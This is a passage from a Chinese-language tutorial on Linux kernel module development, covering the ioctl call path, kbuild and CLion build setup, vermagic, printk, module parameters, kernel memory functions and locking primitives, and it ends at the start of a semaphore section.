/* 锁定文件的偏移量,防止并发访问 */
struct mutex f_pos_lock;

/* 当前文件读写位置,偏移量 */
loff_t f_pos;

/* 文件的所有者结构体,表示文件的拥有者 */
struct fown_struct f_owner;

/* 文件的访问权限(凭证) */
const struct cred *f_cred;

/* 文件预读状态,帮助进行文件的预读优化 */
struct file_ra_state f_ra;

/* 文件的版本号,用于管理文件的版本 */
u64 f_version;

#ifdef CONFIG_SECURITY
/* 安全性相关的私有数据,用于文件的安全性管理 */
void *f_security;
#endif

/* 驱动程序的私有数据,通常用于 tty 驱动 */
void *private_data;

#ifdef CONFIG_EPOLL
/* 文件用于事件通知(如 epoll) */
struct list_head f_ep_links;
/* 文件用于 epoll 的链表链接 */
struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */

/* 地址空间,文件数据存储的映射区域 */
struct address_space *f_mapping;

/* 文件写入错误状态 */
errseq_t f_wb_err;
} __randomize_layout
__attribute__((aligned(4))); /* 防止由于结构体对齐引起的问题,确保对齐为 4 字节 */

文件操作函数

file 结构体中的 f_op 成员指向的 file_operations 结构体中注册了操作这个文件所需的回调函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;

通常我们可以通过文件处理函数如 readwrite 等对文件进行操作。但是设备类的文件常常有一些自定义的功能,这些功能不太容易通过文件操作函数进行描述,我们通常会注册其中的 unlocked_ioctl 函数(对应 ioctl 系统调用)然后传递功能号和自定义参数来进行交互。

  • unlocked_ioctl 用于处理设备的 ioctl 操作。它处理的是标准的 ioctl 请求,通常在 64 位系统上运行时使用。
  • compat_ioctl 用于处理来自 32 位用户空间程序的 ioctl 请求。在 64 位系统上,如果 ioctl 请求来自 32 位程序,它将调用 compat_ioctl 来处理请求。

ioctl(输入/输出控制,Input/Output Control)函数是一个在 Unix-like 操作系统中常用的系统调用,用于设备控制。通过 ioctl,用户程序可以向设备驱动程序发送控制命令,以执行特殊的硬件操作或获取设备的状态信息。ioctl 函数在设备文件的操作中扮演了重要角色,尤其是在一些不符合标准文件操作(如读写操作)时,能够提供额外的控制功能。

1
2
3
#include <sys/ioctl.h>

int ioctl(int fd, unsigned long request, ...);
  • **fd**:文件描述符,表示一个已经打开的设备文件。你需要通过 open 系统调用打开设备文件来获取该文件描述符。
  • **request**:控制命令,指定操作的类型。每个设备驱动会定义自己支持的命令,这些命令通常是宏定义的常量。
  • **...**:根据 request 命令的不同,ioctl 可能会接受额外的参数。具体参数的数量和类型取决于 request 所需的控制命令。

当用户程序调用 ioctl 系统调用时,内核调用栈如下:

pwndbg> bt
#0  my_ioctl (file=0xffff888103392500, cmd=1, arg=140730326886248) at /home/ubuntu/Desktop/my_module/main.c:21
#1  0xffffffff813d91dd in vfs_ioctl (arg=140730326886248, cmd=<optimized out>, filp=0xffff888103392500) at fs/ioctl.c:51
#2  __do_sys_ioctl (arg=140730326886248, cmd=<optimized out>, fd=<optimized out>) at fs/ioctl.c:874
#3  __se_sys_ioctl (arg=140730326886248, cmd=<optimized out>, fd=<optimized out>) at fs/ioctl.c:860
#4  __x64_sys_ioctl (regs=<optimized out>) at fs/ioctl.c:860
#5  0xffffffff81eb11cc in do_syscall_x64 (nr=<optimized out>, regs=0xffffc90000587f58) at arch/x86/entry/common.c:50
#6  do_syscall_64 (regs=0xffffc90000587f58, nr=<optimized out>) at arch/x86/entry/common.c:80
#7  0xffffffff8200007c in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:113

ioctl 函数会调用到 ksys_ioctl 函数,该函数度调用的 fdget 会通过 task_struct->files_struct 的文件描述符表找到传入的句柄对应 file 结构体。之后将 file 结构体指针作为参数调用 do_vfs_ioctl 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct fd {
struct file *file;
unsigned int flags;
};


int ksys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)
{
int error;
struct fd f = fdget(fd); // 获取 fd 对应的 file 结构体

if (!f.file)
return -EBADF;
error = security_file_ioctl(f.file, cmd, arg);
if (!error)
error = do_vfs_ioctl(f.file, fd, cmd, arg); // <---
fdput(f);
return error;
}

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
{
return ksys_ioctl(fd, cmd, arg);
}

do_vfs_ioctl 中会针对一些特殊的功能号做一些特殊的处理,否则对于设备文件会调用 vfs_ioctl 函数。这里要注意我们自定义的功能号不能与这些特殊的功能号重合,否则不能调到我们自己注册的 ioctl 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
/*
* 当你在上面和下面的 switch 语句中添加任何新的常见 ioctl 命令时,
* 请同时更新 compat_sys_ioctl()。
*
* do_vfs_ioctl() 不是为驱动程序设计的,也不打算被 EXPORT_SYMBOL() 导出。
* 它只是 sys_ioctl 和 compat_sys_ioctl 的简单辅助函数。
*/
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
unsigned long arg)
{
int error = 0; // 错误码,初始化为 0,表示成功
int __user *argp = (int __user *)arg; // 用于指向用户空间传递的参数
struct inode *inode = file_inode(filp); // 获取文件的 inode 信息

// 根据 cmd 的不同值,执行不同的操作
switch (cmd) {
case FIOCLEX: // 0x5451
// 设置文件描述符 fd 为执行时关闭(close-on-exec)标志
set_close_on_exec(fd, 1);
break;

case FIONCLEX: // 0x5450
// 取消文件描述符 fd 的执行时关闭(close-on-exec)标志
set_close_on_exec(fd, 0);
break;

case FIONBIO: // 0x5421
// 设置文件描述符为非阻塞模式
error = ioctl_fionbio(filp, argp);
break;

case FIOASYNC: // 0x5452
// 设置异步 I/O 模式
error = ioctl_fioasync(fd, filp, argp);
break;

case FIOQSIZE: // 0x5460
// 获取文件的大小,支持的文件类型是普通文件、符号链接和目录
if (S_ISDIR(inode->i_mode) || S_ISREG(inode->i_mode) ||
S_ISLNK(inode->i_mode)) {
loff_t res = inode_get_bytes(inode); // 获取文件的字节大小
error = copy_to_user(argp, &res, sizeof(res)) ?
-EFAULT : 0; // 将结果复制到用户空间
} else
error = -ENOTTY; // 如果不是支持的文件类型,返回 -ENOTTY 错误
break;

case FIFREEZE: // 0xC0045877
// 冻结文件系统
error = ioctl_fsfreeze(filp);
break;

case FITHAW: // 0xC0045878
// 解冻文件系统
error = ioctl_fsthaw(filp);
break;

case FS_IOC_FIEMAP: // 0xC020660B
// 文件系统的 FIEMAP IOCTL,用于获取文件的物理块映射
return ioctl_fiemap(filp, arg);

case FIGETBSZ: // 0x2
// 获取文件系统块大小
/* anon_bdev 文件系统可能没有块大小 */
if (!inode->i_sb->s_blocksize) // 如果文件系统没有块大小,返回 -EINVAL
return -EINVAL;
return put_user(inode->i_sb->s_blocksize, argp); // 将块大小返回给用户空间

case FICLONE: // 0x40049409
// 用于克隆文件
return ioctl_file_clone(filp, arg, 0, 0, 0);

case FICLONERANGE: // 0x4020940D
// 用于克隆文件的一部分
return ioctl_file_clone_range(filp, argp);

case FIDEDUPERANGE: // 0xC0189436
// 用于去重文件的一部分
return ioctl_file_dedupe_range(filp, argp);

default:
// 如果是普通文件,则调用 file_ioctl 处理
if (S_ISREG(inode->i_mode))
error = file_ioctl(filp, cmd, arg);
else
// 否则调用 vfs_ioctl 处理
error = vfs_ioctl(filp, cmd, arg);
break;
}

return error; // 返回错误码,0表示成功
}

之后在 vfs_ioctl 函数会调用 file 结构体的 f_op 函数表中的 unlocked_ioctl 函数,进而调用到模块注册的 my_ioctl 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
long vfs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int error = -ENOTTY;

if (!filp->f_op->unlocked_ioctl)
goto out;

error = filp->f_op->unlocked_ioctl(filp, cmd, arg);
if (error == -ENOIOCTLCMD)
error = -ENOTTY;
out:
return error;
}

内核模块环境基础

内核模块开发库

内核模块通常是用 C 语言编写的,并且不依赖标准库(如 libc)。

因此如果针对发行版 Linux 系统开发内核模块需要我们安装相关的开发库。

1
sudo apt-get install linux-headers-$(uname -r)  # 适用于 Debian/Ubuntu 系统

另外如果是针对自己编译的简易 Linux 环境开发内核模块,则只需要有内核源码即可。然而编译内核模块的时候需要一些相关的依赖库,因此需要将内核源码的模块部分编译一遍。

1
make modules -j$(nproc)

内核模块代码基本组成

一个最基本的内核模块代码 my_module.c 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL"); // 模块的许可证

// 模块加载时执行的函数
static int __init my_module_init(void) {
printk(KERN_INFO "Hello, Linux Kernel!\n");
return 0; // 返回 0 表示加载成功
}

// 模块卸载时执行的函数
static void __exit my_module_exit(void) {
printk(KERN_INFO "Goodbye, Linux Kernel!\n");
}

// 定义模块的入口和出口函数
module_init(my_module_init);
module_exit(my_module_exit);

模块的许可证

Linux 内核是根据 GNU General Public License (GPL) 发行的开源软件。为了保护内核的开源性质,Linux 内核对模块的许可证有严格的检查机制。

1
2
3
#include <linux/module.h>

MODULE_LICENSE("GPL");

如果模块没有声明 MODULE_LICENSE("GPL") 则编译或时会失败。

1
ERROR: modpost: missing MODULE_LICENSE()

加载和卸载函数

加载和卸载函数分别用于初始化模块资源(如内存分配、硬件配置)和释放资源、清理状态。

1
2
static int __init my_module_init(void) { ... }
static void __exit my_module_exit(void) { ... }

这些函数需要通过 module_initmodule_exit 宏注册到 .init.text.exit.text 段中,这样该内核模块加载和卸载的时候会分别调用 my_module_initmy_module_exit 函数。

1
2
module_init(my_module_init);
module_exit(my_module_exit);

内核模块编译脚本

kbuild 是 Linux 内核的构建系统,它负责管理和构建内核及内核模块的编译过程。kbuild 并不是一个独立的工具,而是 Linux 内核构建的一部分。它在内核源代码树中作为一个“中央编译系统”工作,帮助开发者构建内核和模块。

内核的源代码树由多个目录组成,其中每个子目录都可以包含一个 Kbuild 文件,用来描述该目录下的构建规则。kbuild 系统会根据这些规则,编译目标文件并将其链接成内核模块或内核映像。

为了能够构建自己的内核模块,我们需要编写一个 Makefile 文件来告诉 kbuild 如何编译模块,并提供必要的编译选项。

提示

make 是一个通用的构建工具,它可以用来处理任何项目的构建任务,包括内核模块、用户空间程序等。make 在 Linux 内核模块的编译过程中有一些特殊的功能和行为。编译内核模块时,make 会调用 kbuild 提供的规则来管理编译任务,而不是自身指定编译模块的规则。

构建内核模块的常用 Makefile 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MODULE_NAME ?= my_module

obj-m += $(MODULE_NAME).o

$(MODULE_NAME)-y := main.o

#KERNELDR := /lib/modules/$(shell uname -r)/build/
KERNELDR := /home/ubuntu/Desktop/linux-5.17

all:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules

clean:
$(MAKE) -C $(KERNELDR) M=$(PWD) clean

解释一下这个编译脚本的一些细节:

  • MODULE_NAME ?= my_module:设置模块的名称为 my_module,这样最后编译出来的模块为 my_module.ko

    另外这里的 ?= 运算符是为了给 MODULE_NAME 赋默认值 my_module,如果 MODULE_NAME 有值则不会覆盖原本的值,因此可以像下面这样在指定模块名称编译。

    1
    MODULE_NAME=<module_name> make
  • obj-m += $(MODULE_NAME).o

    • obj-m:在 Linux 内核的构建系统中,obj-m 是一个特定的变量,用于告诉内核构建系统哪些目标文件需要被编译成 内核模块。另外还有 obj-y 表示将内核模块编译到内核镜像中,obj-n 表示不编译。
    • += $(MODULE_NAME).o+= 是一个追加赋值操作符,表示将右边的内容添加到左边的变量中。换句话说,+= 会将指定的目标文件添加到 obj-m 变量的当前值中。obj-m 是一个 “模块目标” 列表,它指定了需要编译成模块的目标文件(.o 文件)。对于模块文件,obj-m 会指示 kbuild 系统将这些 .o 文件链接为 .ko 文件,.ko 是内核模块的扩展名(即 “Kernel Object”)。
  • $(MODULE_NAME)-y := main.o:编译该内核模块所需要的文件,例如这里我们需要 main.c ,那么我们就在该变量中添加 main.o

  • KERNELDR:指定了开发环境路径,可以是内核源码也可以是按照的内核头文件库。不过内核源码需要实现编译一遍模块。

  • 最后就是具体的编译命令了,例如 $(MAKE) -C $(KERNELDR) M=$(PWD) modules 这条编译命令有如下解释:

    • -C $(KERNELDR):让 make 进入内核源代码目录(即 $(KERNELDR))。

    • M=$(PWD)M 变量告诉 kbuild 当前模块的源代码目录是 $(PWD)(即当前 Makefile 所在的目录)。这将使得 make 在内核源代码目录中进行构建,但实际编译的模块文件来自于 $(PWD) 目录。

    • modules:指示 make 构建模块。

如何让 clion 支持内核模块开发

由于内核构建工具的特殊性,目前 clion 官方并不支持 Linux 内核模块的开发。但是依靠下面这个 CMakeLists.txt 脚本与前面我们的 Makefile 编译脚本结合,我们可以让 clion 完美支持内核模块的代码分析以及编译。

其中 KERNEL_SOURCE_PATH 是源码路径,我们可以在脚本里手动指定,或者脚本会自动找 /usr/src/linux-headers-$(uname -r) 路径下的头文件作为开发环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
cmake_minimum_required(VERSION 3.0.0 FATAL_ERROR)

# 设置项目名称和版本
project("Linux Kernel Module with CLion IDE support / CMake" LANGUAGES C)

# 设置 C 标准
set(CMAKE_C_STANDARD 90)
set(CMAKE_C_STANDARD_REQUIRED ON)

# 手动设置内核源码路径
set(KERNEL_SOURCE_PATH "/home/ubuntu/Desktop/linux-5.17")

# 检查是否传递了内核源码路径
if (DEFINED KERNEL_SOURCE_PATH)
# 如果传递了自定义内核源码路径,使用该路径
message(STATUS "Using custom kernel source path: ${KERNEL_SOURCE_PATH}")
set(KERNELHEADERS_DIR ${KERNEL_SOURCE_PATH})
else ()
# 如果没有指定内核源码路径,使用默认路径查找
# 获取系统内核版本
execute_process(
COMMAND uname -r
OUTPUT_VARIABLE KERNEL_RELEASE
OUTPUT_STRIP_TRAILING_WHITESPACE
)
# 使用 uname 获取的内核版本来查找内核头文件路径
find_path(KERNELHEADERS_DIR
include/linux/user.h
PATHS /usr/src/linux-headers-${KERNEL_RELEASE}
)
# 如果找不到路径,则报错
if (NOT KERNELHEADERS_DIR)
message(FATAL_ERROR "Could not find kernel headers. Please install the correct kernel headers or specify the correct path.")
endif ()
message(STATUS "Kernel release: ${KERNEL_RELEASE}")
message(STATUS "Using system kernel headers from: ${KERNELHEADERS_DIR}")
endif ()

# 设置内核模块的编译定义
add_definitions(-D__KERNEL__ -DMODULE)

# 创建一个 dummy 可执行文件,仅供 CLion 语法高亮使用
add_executable(dummy
main.c
)

# 让 CLion IDE 找到内核头文件路径
target_include_directories(dummy PRIVATE ${KERNELHEADERS_DIR}/include ${KERNELHEADERS_DIR}/arch/x86/include)

# 创建内核模块的构建规则
add_custom_target(make_modules
COMMAND ${CMAKE_COMMAND} -E echo "Building kernel module..."
COMMAND make -C ${KERNELHEADERS_DIR} M=${CMAKE_SOURCE_DIR}
COMMENT "Building the kernel module"
)

# 清理内核模块的构建产物
add_custom_target(make_clean
COMMAND ${CMAKE_COMMAND} -E echo "Cleaning kernel module..."
COMMAND make -C ${KERNELHEADERS_DIR} M=${CMAKE_SOURCE_DIR} clean
COMMENT "Cleaning the kernel module"
)

内核模块加载

vermagic(Version Magic) 是 Linux 内核模块中的一个版本控制字符串,用于描述模块在编译时所使用的内核版本和内核配置。vermagic 的存在确保模块能够被正确加载到内核中,避免由于版本或配置不匹配而导致的不兼容问题。

vermagic 是一个由多个部分组成的字符串,格式如下:

1
<kernel version> <optional flags>
  • 内核版本:模块编译时使用的内核版本(通过 uname -r 获取),例如 5.17.0

  • 可选标志:描述模块依赖的内核功能和编译配置,常见的标志包括:

    • **SMP**:表明模块支持对称多处理(SMP)。

    • **preempt**:表明模块支持内核的抢占模式。

    • **mod_unload**:表明模块支持卸载。

    • **modversions**:表明模块启用了符号版本支持。

如果 vermagic 不匹配则加载内核模块会报 invalid module format 错误。

1
2
3
~ # insmod hello.ko 
[ 267.677323] hello: version magic '5.17.0 SMP preempt mod_unload' should be '5.17.0 SMP preempt mod_unload '
insmod: can't insert 'hello.ko': invalid module format

我们可以通过 modinfo 命令或者 strings 搜索字符串的方式查看内核模块的 vermagic

1
2
3
4
5
6
7
8
9
10
~ # modinfo hello.ko
filename: hello.ko
license: GPL
srcversion: E5C19CFD2B17C598B45D662
depends:
retpoline: Y
name: hello
vermagic: 5.17.0 SMP preempt mod_unload modversions
~ # strings hello.ko|grep vermagic
vermagic=5.17.0 SMP preempt mod_unload modversions

而内核镜像中的 vermagic 可以通过报错得到。高版本内核为了防 rootkit 隐藏了 vermagic 内容,我们只能通过正则表达式在内核镜像中匹配可能的 vermagic 内容。

1
strings vmlinux | grep -E "[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9]+)*.*SMP"

之后如果我们将内核模块 patch 与内核相同的 vermagic 则通常可以成功加载内核模块。

在开发环境中可以在 linux/vermagic.h 中的 VERMAGIC_STRING 宏定义了 vermagic,有一些教程会让我们直接改源代码来实现 vermagic 的修改。

内核模块开发基础

日志打印

printk() 是 Linux 内核中最常用的日志打印函数,它与用户空间的 printf() 函数非常相似,但是它是专门为内核空间设计的。printk() 的主要功能是将信息打印到内核日志缓冲区中,可以通过 dmesg 命令查看。

1
int printk(const char *fmt, ...);

printk() 函数支持不同的日志级别,用于表示不同优先级的消息,日志级别由宏定义,如下:

  • **KERN_EMERG**:紧急级别,用于系统崩溃或严重故障。
  • **KERN_ALERT**:警报级别,表示发生了严重错误,需要立即处理。
  • **KERN_CRIT**:严重级别,表示出现了严重的错误,可能影响系统的正常运行。
  • **KERN_ERR**:错误级别,表示发生了错误,但系统仍能继续运行。
  • **KERN_WARNING**:警告级别,表示有潜在问题,但不影响系统的正常运行。
  • **KERN_NOTICE**:通知级别,表示一些正常的操作或状态变化。
  • **KERN_INFO**:信息级别,表示一些正常的操作或信息。
  • **KERN_DEBUG**:调试级别,表示调试信息,仅在调试时启用。

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <linux/kernel.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");

static int __init my_module_init(void)
{
printk(KERN_INFO "This is an info message\n");
pr_info("This is another info message\n");

printk(KERN_WARNING "This is a warning message\n");
pr_warn("This is another warning message\n");

printk(KERN_ERR "This is an error message\n");
pr_err("This is another error message\n");

printk(KERN_DEBUG "This is a debug message\n");
pr_debug("This is another debug message\n");

return 0;
}

static void __exit my_module_exit(void)
{
printk(KERN_INFO "Module removed\n");
}

module_init(my_module_init);
module_exit(my_module_exit);

参数传递

内核模块参数允许用户在加载模块时向模块传递数据,从而使模块的行为可配置。内核提供了一套宏和函数来定义和管理这些参数。

定义参数

使用 module_param 宏可以定义模块参数。其基本语法如下:

1
2
module_param(name, type, perm);
MODULE_PARM_DESC(name, "Description of parameter");
  • **name**:参数名,必须对应模块中的全局变量。
  • **type**:参数类型,如 int, bool, charp(字符串指针)等。
  • **perm**:参数的文件权限,决定了参数在sysfs中的可见性。通常设置为 0444(只读)或 0644(可读可写)。
  • **MODULE_PARM_DESC**:提供参数的描述信息。

下面是一个简单的内核模块示例,展示了如何定义和使用模块参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>

MODULE_LICENSE("GPL");

static char *whom = "world";
static int howmany = 1;
module_param(howmany, int, S_IRUGO);
module_param(whom, charp, S_IRUGO);

static int hello_init(void) {
int i;
for (i = 0; i < howmany; i++)
printk("(%d) Hello, %s\n", i, whom);
return 0;
}

static void hello_exit(void) {
printk("Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);

加载模块时传递参数

使用 insmodmodprobe 命令加载模块时,可以传递参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  my_module insmod hello.ko  && dmesg -c 
[155749.654730] (0) Hello, world
➜ my_module rmmod hello && dmesg -c
[155755.738327] Goodbye, cruel world
➜ my_module insmod hello.ko howmany=10 whom="sky123" && dmesg -c
[155759.027804] (0) Hello, sky123
[155759.027807] (1) Hello, sky123
[155759.027808] (2) Hello, sky123
[155759.027808] (3) Hello, sky123
[155759.027808] (4) Hello, sky123
[155759.027809] (5) Hello, sky123
[155759.027809] (6) Hello, sky123
[155759.027809] (7) Hello, sky123
[155759.027810] (8) Hello, sky123
[155759.027810] (9) Hello, sky123
➜ my_module rmmod hello && dmesg -c
[155763.962650] Goodbye, cruel world

在 sysfs 中查看和修改参数

如果模块参数权限允许,可以在 /sys/module/<module_name>/parameters/ 目录下查看和修改参数。

1
2
3
4
➜  my_module insmod hello.ko howmany=10 whom="sky123"
➜ my_module cat /sys/module/hello/parameters/*
10
sky123

内存管理相关

内核模块开发中,内存管理是一个核心环节,涉及到内存的分配、释放和数据拷贝。由于内核空间和用户空间的严格隔离,内核模块需要使用专门的内存管理函数来操作内存。

内存申请释放

内核提供了一系列函数用于在内核空间分配和释放内存。常用的内存分配函数包括 kmallockzallocvmallockcalloc,对应的释放函数为 kfreevfree

  • kmalloc 系列函数用于分配一块物理上连续的内存,适用于需要高性能和物理连续性的场景,如设备寄存器的缓冲区。

    1
    2
    3
    4
    5
    6
    #include <linux/slab.h>

    void *kmalloc(size_t size, gfp_t flags);
    void *kzalloc(size_t size, gfp_t flags); // 与 kmalloc 类似,但它会将分配的内存清零。
    void *kcalloc(unsigned long n, size_t size, gfp_t flags); // 类似于 kzalloc,但用于分配数组,自动计算总大小并初始化为零。
    void kfree(const void *objp);
  • vmalloc 用于分配一块虚拟地址空间,适合于较大的内存分配,因为它不要求物理内存连续

    1
    2
    3
    4
    #include <linux/vmalloc.h>

    void *vmalloc(unsigned long size);
    void vfree(const void *addr);

内存拷贝

在内核模块中,常常需要在内核空间和用户空间之间传递数据。由于内核不能直接访问用户空间的内存,需要使用内核提供的拷贝函数来安全地进行数据传输。

1
2
3
4
#include <linux/uaccess.h>

long copy_to_user(void __user *to, const void *from, unsigned long n);
long copy_from_user(void *to, const void __user *from, unsigned long n);

这里用 __user 宏修饰的参数是用户空间地址,另一个是内核空间地址。

注意

  • copy_*_user 函数的返回值的含义和 memcpy 不太一样。这里的返回值表示未能成功复制的字节数
  • copy_*_user 函数仅用于内核空间和用户空间之间的数据拷贝,而内核空间内部的数据拷贝则使用 memcpy 即可。
  • 对于涉及内核堆上的数据拷贝,copy_*_user 函数有一个 CONFIG_HARDENED_USERCOPY 编译选项,开启后会判断数据拷贝是否在堆上的 object 发生越界访问。

同步问题

在多核和多进程的环境中,内核模块需要处理数据共享和资源竞争的问题,避免数据不一致和竞态条件。为此,内核提供了一系列的同步原语,如锁、信号量、自旋锁等,用于保护共享数据和同步操作。

自旋锁(Spinlocks)

自旋锁是一种忙等待锁,适用于保护短时间的临界区,且不允许在锁定期间睡眠。自旋锁常用于中断处理程序和其他不允许睡眠的上下文中。

在内核中,“睡眠”指的是让当前执行的任务(线程或进程)暂停执行并让出 CPU,等待某些条件满足后才能继续执行。例如,等待 I/O 操作完成、等待某个资源变得可用等。

当内核线程或进程执行到某个地方无法继续执行时,会调用 schedule() 或者通过某些同步机制(如 mutex_lock() 等)让当前执行上下文挂起,直到条件满足。此时它处于睡眠状态。

不允许睡眠指的是,在某些特殊上下文(如中断上下文、内核线程或底半部等)中,当前代码执行时不能进行任何会导致任务睡眠的操作。

例如当处理硬件中断时,内核进入中断处理程序(Interrupt Handler)来响应硬件事件。此时中断上下文中是不允许进行睡眠操作的,因为中断处理程序执行时,CPU 正在处理中断,任何睡眠操作都意味着当前任务被挂起,而这将阻止中断的处理,可能导致严重的延迟或丢失中断。

1
2
3
4
5
6
7
8
9
10
11
12
spinlock_t my_lock;

// 初始化
spin_lock_init(&my_lock);

// 加锁
spin_lock(&my_lock);

// 临界区代码

// 解锁
spin_unlock(&my_lock);

除了睡眠之外,中断嵌套也会造成当前任务当前任务被挂起或阻塞。

例如中断处理程序 A 在进入临界区之后触发中断进入中断处理程序 B,而 B 也要请求该自旋锁进入临界区,结果造成死锁系统卡死。

因此 spin_lock_irqsave/spin_unlock_irqrestore 宏在自旋锁的基础上加上了禁用中断和恢复中断的功能来解决这一问题。

1
2
3
4
5
6
7
8
9
10
spinlock_t my_lock;
unsigned long flags;

// 禁止本地中断并加锁
spin_lock_irqsave(&my_lock, flags);

// 临界区代码

// 解锁并恢复中断
spin_unlock_irqrestore(&my_lock, flags);

互斥锁(Mutexes)

互斥锁用于保护可以睡眠的临界区,适用于较长时间的锁定和需要进行可能睡眠操作的场景。互斥锁在请求锁的操作方式上分为阻塞式非阻塞式两种。

mutex_lock 是一个阻塞式操作,当一个线程调用 mutex_lock() 请求锁时,如果锁已经被其他线程占用,它会被挂起(阻塞),直到锁被释放。换句话说,当前线程会等待,直到它能够成功获取锁。

1
2
3
4
5
6
7
8
9
10
11
12
struct mutex my_mutex;

// 初始化
mutex_init(&my_mutex);

// 加锁
mutex_lock(&my_mutex);

// 临界区代码

// 解锁
mutex_unlock(&my_mutex);

mutex_trylock 是一个 非阻塞式 操作。当线程调用 mutex_trylock() 请求锁时,它会尝试立即获取锁。

  • 如果锁当前没有被其他线程占用,mutex_trylock() 会返回成功(即获得锁)。
  • 如果锁已经被其他线程占用,mutex_trylock() 不会阻塞,它会立即返回 -EBUSY(即表示锁已经被占用),并且不会让当前线程挂起。调用者可以在返回失败时决定如何处理,比如立即返回、执行其他任务,或在稍后再次尝试获取锁。
1
2
3
4
5
6
7
8
9
10
11
12
struct mutex my_mutex;

// 初始化
mutex_init(&my_mutex);

// 尝试加锁(非阻塞)
if (mutex_trylock(&my_mutex)) {
// 获取到锁,执行临界区代码
mutex_unlock(&my_mutex);
} else {
// 未获取到锁
}

读写锁(Read-Write Locks)

读写锁允许多个读者同时访问资源,但写者必须独占访问。适用于读操作多于写操作的场景。

读写锁有两个主要的操作类型:

  • 读锁(Read Lock):多个线程可以同时获取读锁进行读取操作。当一个线程获取了读锁后,其他线程也可以获取读锁,只要没有线程持有写锁。
  • 写锁(Write Lock):写锁是独占的,只有一个线程可以持有写锁,而且在持有写锁时,其他线程既不能获得读锁也不能获得写锁。写锁用于修改共享数据,确保写入操作的原子性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <linux/rwlock.h>

// 定义读写锁
static DEFINE_RWLOCK(my_rwlock);

void read_function(void)
{
// 获取读锁
read_lock(&my_rwlock);

// 执行读操作
printk("Reading shared data...\n");

// 释放读锁
read_unlock(&my_rwlock);
}

void write_function(void)
{
// 获取写锁
write_lock(&my_rwlock);

// 执行写操作
printk("Writing shared data...\n");

// 释放写锁
write_unlock(&my_rwlock);
}

信号量(Semaphores)

信号量用于控制多个执行上下文对共享资源的访问,表示资源的数量。适用于控制访问多个实例的资源。

信号量的工作机制主要包括 P操作(即 down()wait())和 V操作(即 up()signal()):

  • P操作(Proberen 或 Wait):P操作尝试降低信号量的值。如果信号量的值大于零,它就会将值减一,表示有资源被占用,并允许线程继续执行。如果信号量的值为零,表示没有资源可用,线程会被挂起,直到信号量的值变为正数。
  • V操作(Verhogen 或 Signal):V操作增加信号量的值,表示资源被释放。当信号量的值从零增加时,操作系统会唤醒等待该信号量的线程,允许它们获取资源。
1
2
3
4
5
6
7
8
9
10
11
